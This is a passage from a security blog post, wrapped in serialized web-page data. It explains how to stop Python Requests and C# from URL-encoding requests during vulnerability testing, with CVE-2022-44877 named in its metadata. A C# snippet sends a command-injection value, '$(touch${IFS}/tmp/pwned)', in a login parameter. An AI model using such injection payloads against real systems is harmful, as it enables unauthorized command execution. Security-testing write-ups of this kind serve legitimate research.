url = six.ensure_str(parsed_url.url)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Observe the actual content sent again using BurpSuite, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015141800_1_869f41a6f1-1.png\">\u003C\u002Fp>\u003Cp>URL not encoded, issue resolved\u003C\u002Fp>\u003Ch2>0x04 Solution 2\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Here, C# can also be used to implement sending POST data, avoiding URL encoding. The implementation code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>                String target = args[0] + \"\u002Flogin\u002Findex.php?login=$(touch${IFS}\u002Ftmp\u002Fpwned)\";\u003Cbr>                bool dontEscape = true;\u003Cbr>                var url = new Uri(target, dontEscape);\u003Cbr>                HttpWebRequest hwr = WebRequest.Create(url) as HttpWebRequest;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the method of disabling URL encoding by modifying the Python Requests library, and also provides the implementation code for disabling URL encoding in C#, documenting the research details.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",387,"Onedaysec",5,"published","2026-02-02T07:25:19.985Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Disable URL Encoding in Python Requests Library for Vulnerability Testing","Python Requests, URL encoding, disable encoding, vulnerability testing, CVE-2022-44877, HTTP requests, security testing",null,false,[],{"docs":43,"hasNextPage":40},[44,45,4,46],1032,1031,1029,{"title":39,"description":39,"image":39},"2026-07-24T15:37:10.101Z","2026-07-23T16:02:26.933Z","draft","2026-07-23T16:16:13.874Z"]